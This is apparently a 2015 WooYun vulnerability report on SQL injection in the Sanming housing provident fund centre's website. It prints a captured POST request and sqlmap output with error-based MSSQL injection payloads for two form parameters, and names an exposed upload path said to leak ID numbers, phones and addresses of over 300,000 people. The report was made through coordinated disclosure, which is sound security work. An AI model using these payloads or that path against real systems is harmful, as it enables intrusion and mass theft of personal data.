当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134327

漏洞标题:三明公积金中心存在SQL注入(DBA权限)+可获取30余万人身份证、手机、工作信息

相关厂商:三明公积金中心

漏洞作者: 路人甲

提交时间:2015-08-17 18:01

修复时间:2015-10-03 10:12

公开时间:2015-10-03 10:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-17: 细节已通知厂商并且等待厂商处理中
2015-08-19: 厂商已经确认,细节仅向厂商公开
2015-08-29: 细节向核心白帽子及相关领域专家公开
2015-09-08: 细节向普通白帽子公开
2015-09-18: 细节向实习白帽子公开
2015-10-03: 细节向公众公开

简要描述:

发现一处SQL注入,同时禁用了文件读取,但是另一处上传记录处没有修补!~~~
有做了防注入的了,本人不才有些绕不过去就算了!~~~

详细说明:

1、抓包

POST http://www.smgjj.com/BusinessConsulting.aspx HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://www.smgjj.com/BusinessConsulting.aspx
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0) QQBrowser/8.2.4258.400
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.smgjj.com
Content-Length: 7981
Connection: Keep-Alive
Pragma: no-cache
Cookie: _gscbrs_477307201=1; _gscu_477307201=39621761kckh7n12; _gscs_477307201=t39622311hhxnek41|pv:3;
ASP.NET_SessionId=j4wpzi45gqjugy45vbyo15rs; DBInformation=DBInformation_T_Information_T_Information.Clicks=,f04afaa5
-4f96-48a2-8836-48d535f49909Guest,; SiteFunction=SiteFunction_House=,1208,
__VIEWSTATE=
%2FwEPDwULLTE1MTA5NzAzNDIPZBYCAgMPZBYUAgEPZB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JAtON%2BOkCAuGR%2B4QKAveSyOQNApCGuoUEArmSlLwKArfNzccIAr
%2FFrYAMAvHPoesKAv3KoesKAo3P2fQKAvTZrrUEAunJhecNAujOz4UCAsvBnsQFAtmxrLcOArb4gqUJAtL4xMcOAuGA1Z8HAvD9k
DgCkt303QkCtfe5hgxWbSV5LGmy1%2FjwpAb46N3VOJVvrw%3D%3D&txtkey=1&drpSearch=0&txtStart=2012-08-
15&txtEnd=2015-08-
15&txtName=2&dlstRange=2&txtNum=1&ddlPageIndex=1&HomePageBottomInfo1%24dlsthzdw=&HomePageBottomInfo1
%24dlstzfbm=&HomePageBottomInfo1%24dlstqtgjj=&HomePageBottomInfo1%24dlstqtwz=&btnSearch.x=33&btnSearch.y=1
4


txtNum、txtName存在注入

sqlmap identified the following injection points with a total of 2308 HTTP(s) re
quests:
---
Place: POST
Parameter: txtNum
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: __VIEWSTATE=/wEPDwULLTE1MTA5NzAzNDIPZBYCAgMPZBYWAgEPZBYCAgEPFgIeC18
hSXRlbUNvdW50Ag0WGgIBD2QWAmYPFQIOL0hvbWVQYWdlLmFzcHgG6aaW6aG1ZAICD2QWAmYPFQJHL0l
uc3RpdHV0aW9uc0ludHJvZHVjZWQuYXNweD9jbGFzcz02YjQzOTY5OS05MjBlLTQ5YjQtOTViOC01M2Q
3M2JkZjdlZTEM5py65p6E566A5LuLZAIDD2QWAmYPFQI+L05ld3NCb2xja0xpc3QuYXNweD9jbGFzcz0
0ODMwNDgxZC1lMTgwLTQzZTYtYTlmNS1iYmY3ZjliODkxMzMM5pS/562W5rOV6KeEZAIED2QWAmYPFQI
+L05ld3NCb2xja0xpc3QuYXNweD9jbGFzcz1jNGM3YTA4YS01ZGJkLTQ3OTEtODhlZS1kODJhZjRjZTR
mOGEM6LWE6K6v5L+h5oGvZAIFD2QWAmYPFQITL0luZm9ybWF0aW9uWm4uYXNweAzkv6Hmga/lhazlvIB
kA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KwMDZ2dnZGQCAw8QDxYGHwYFCExpbmtOYW1lHwcFB0xpbmtVcmwfCGdkEBU
FEy0tLeaUv+W6nOmDqOmXqC0tLS0b5LiJ5piO5biC5Lq65rCR5pS/5bqc572R56uZHuS4reWkruS6uua
wkeaUv+W6nOmXqOaIt+e9keermRjnpo/lu7rnnIHlu7rorr7kv6Hmga/nvZES56aP5bu655yB6LSi5pS
/5Y6FFQUAFGh0dHA6Ly93d3cuc20uZ292LmNuEmh0dHA6Ly93d3cuZ292LmNuLxdodHRwOi8vd3d3LmZ
qanMuZ292LmNuLxlodHRwOi8vd3d3LmZqaWNwYS5vcmcuY24vFCsDBWdnZ2dnZGQCBQ8QDxYGHwYFCEx
pbmtOYW1lHwcFB0xpbmtVcmwfCGdkEBUMFi0tLeWFtuS7luWFrOenr+mHkS0tLS0b56aP5bee5L2P5oi
/5YWs56ev6YeR572R56uZG+WOpumXqOS9j+aIv+WFrOenr+mHkee9keermRvmvLPlt57kvY/miL/lhaz
np6/ph5HnvZHnq5kb5rOJ5bee5L2P5oi/5YWs56ev6YeR572R56uZG+m+meWyqeS9j+aIv+WFrOenr+m
Hkee9keermRvljZflubPkvY/miL/lhaznp6/ph5HnvZHnq5kb5a6B5b635L2P5oi/5YWs56ev6YeR572
R56uZG+iOhueUsOS9j+aIv+WFrOenr+mHkee9keermRvljJfkuqzkvY/miL/lhaznp6/ph5HnvZHnq5k
b5LiK5rW35L2P5oi/5YWs56ev6YeR572R56uZG+Wkqea0peS9j+aIv+WFrOenr+mHkee9keermRUMABZ
odHRwOi8vd3d3LmZ6emZnamouY29tF2h0dHA6Ly93d3cueG1namouZ292LmNuGGh0dHA6Ly93d3cuenp
namouZ292LmNuLxRodHRwOi8vd3d3LnF6Z2pqLmNvbRlodHRwOi8vd3d3Lmxvbmd5YW5namouY29tFGh
0dHA6Ly93d3cubnBnamouY29tFGh0dHA6Ly93d3cubmRnamouY29tFGh0dHA6Ly93d3cucHRnamouY29
tF2h0dHA6Ly93d3cu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w==&txtkey=1&drpSearch=
0&txtStart=2012-08-15&txtEnd=2015-08-15&txtName=2&dlstRange=2&txtNum=1' AND 7297
=CONVERT(INT,(SELECT CHAR(113)+CHAR(109)+CHAR(120)+CHAR(100)+CHAR(113)+(SELECT (
CASE WHEN (7297=7297) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(116)+CHAR
(109)+CHAR(106)+CHAR(113))) AND 'iMLY'='iMLY&ddlPageIndex=1&HomePageBottomInfo1$
dlsthzdw=&HomePageBottomInfo1$dlstzfbm=&HomePageBottomInfo1$dlstqtgjj=&HomePageB
ottomInfo1$dlstqtwz=&btnSearch.x=33&btnSearch.y=14
Place: POST
Parameter: txtName
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: __VIEWSTATE=/wEPDwULLTE1MTA5NzAzNDIPZBYCAgMPZBYWAgEPZBYCAgEPFgIeC18
hSXRlbUNvdW50Ag0WGgIBD2QWAmYPFQIOL0hvbWVQYWdlLmFzcHgG6aaW6aG1ZAICD2QWAmYPFQJHL0l
uc3RpdHV0aW9uc0ludHJvZHVjZWQuYXNweD9jbGFzcz02YjQzOTY5OS05MjBlLTQ5YjQtOTViOC01M2Q
3M2JkZjdlZTEM5py65p6E566A5LuLZAIDD2QWAmYPFQI+L05ld3NCb2xja0xpc3QuYXNweD9jbGFzcz0
0ODMwNDgxZC1lMTgwLTQzZTYtYTlmNS1iYmY3ZjliODkxMzMM5pS/562W5rOV6KeEZAIED2QWAmYPFQI
+L05ld3NCb2xja0xpc3QuYXNweD9jbGFzcz1jNGM3YTA4YS01ZGJkLTQ3OTEtODhlZS1kODJhZjRjZTR
mOGEM6LWE6K6v5L+h5oGvZAIFD2QWAmYPFQITL0luZm9ybWF0aW9uWm4uYXNweAzkv6Hmga/lhazlvIB
kAgYPZBYCZg8VAj0vTGF3R3VpZGVNYWluLmFzcHg/Y2xhc3M9Yzk1NzY5NWItZjBjNS00OWVjLWExMjk
tYWZmZjdmY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0b5LiJ5piO5biC5Lq65rCR5pS/5bqc572R56uZHuS4reWkruS6uua
wkeaUv+W6nOmXqOaIt+e9keermRjnpo/lu7rnnIHlu7rorr7kv6Hmga/nvZES56aP5bu655yB6LSi5pS
/5Y6FFQUAFGh0dHA6Ly93d3cuc20uZ292LmNuEmh0dHA6Ly93d3cuZ292LmNuLxdodHRwOi8vd3d3LmZ
qanMuZ292LmNuLxlodHRwOi8vd3d3LmZqaWNwYS5vcmcuY24vFCsDBWdnZ2dnZGQCBQ8QDxYGHwYFCEx
pbmtOYW1lHwcFB0xpbmtVcmwfCGdkEBUMFi0tLeWFtuS7luWFrOenr+mHkS0tLS0b56aP5bee5L2P5oi
/5YWs56ev6YeR572R56uZG+WOpumXqOS9j+aIv+WFrOenr+mHkee9keermRvmvLPlt57kvY/miL/lhaz
np6/ph5HnvZHnq5kb5rOJ5bee5L2P5oi/5YWs56ev6YeR572R56uZG+m+meWyqeS9j+aIv+WFrOenr+m
Hkee9keermRvljZflubPkvY/miL/lhaznp6/ph5HnvZHnq5kb5a6B5b635L2P5oi/5YWs56ev6YeR572
R56uZG+iOhueUsOS9j+aIv+WFrOenr+mHkee9keermRvljJfkuqzkvY/miL/lhaznp6/ph5HnvZHnq5k
b5LiK5rW35L2P5oi/5YWs56ev6YeR572R56uZG+Wkqea0peS9j+aIv+WFrOenr+mHkee9keermRUMABZ
odHRwOi8vd3d3LmZ6emZnamouY29tF2h0dHA6Ly93d3cueG1namouZ292LmNuGGh0dHA6Ly93d3cuenp
namouZ292LmNuLxRodHRwOi8vd3d3LnF6Z2pqLmNvbRlodHRwOi8vd3d3Lmxvbmd5YW5namouY29tFGh
0dHA6Ly93d3cubnBnamouY29tFGh0dHA6Ly93d3cubmRnamouY29tFGh0dHA6Ly93d3cucHRnamouY29
tF2h0dHA6Ly93d3cuYmpnamouZ292LmNuFGh0dHA6Ly93d3cuc2hnamouY29tF2h0dHA6Ly93d3cuaG9
1c2VmdW5kLmNuFCsDDGdnZ2dnZ2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CHAR(120)+CHAR(100)+CHAR(113)+(SELECT (CASE WHEN (3919=3919)
THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(116)+CHAR(109)+CHAR(106)+CHAR(
113))) AND 'zQNC'='zQNC&dlstRange=2&txtNum=1&ddlPageIndex=1&HomePageBottomInfo1$
dlsthzdw=&HomePageBottomInfo1$dlstzfbm=&HomePageBottomInfo1$dlstqtgjj=&HomePageB
ottomInfo1$dlstqtwz=&btnSearch.x=33&btnSearch.y=14
---
there were multiple injection points, please select the one to use for following
injections:
[0] place: POST, parameter: txtName, type: Single quoted string (default)
[1] place: POST, parameter: txtNum, type: Single quoted string
[q] Quit
> 0
[15:44:54] [INFO] testing Microsoft SQL Server
[15:44:54] [INFO] confirming Microsoft SQL Server
[15:44:57] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008


1.jpg


2.jpg


后面获取信息有些问题就不继续了。
2、可以读取记录文件,获取30余万人身份证、手机、工作信息
地址已经被提交过的:

http://www.smgjj.com/database/DataInput.aspx


获取上传的记录文件,里面含有大量的身份证、手机、工作信息、住址、甚至缴纳公积金的信息!~~~

3.jpg


4.jpg


漏洞证明:

如上

修复方案:

过滤修复
权限查看!~~~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-08-19 10:10

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给福建分中心,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评论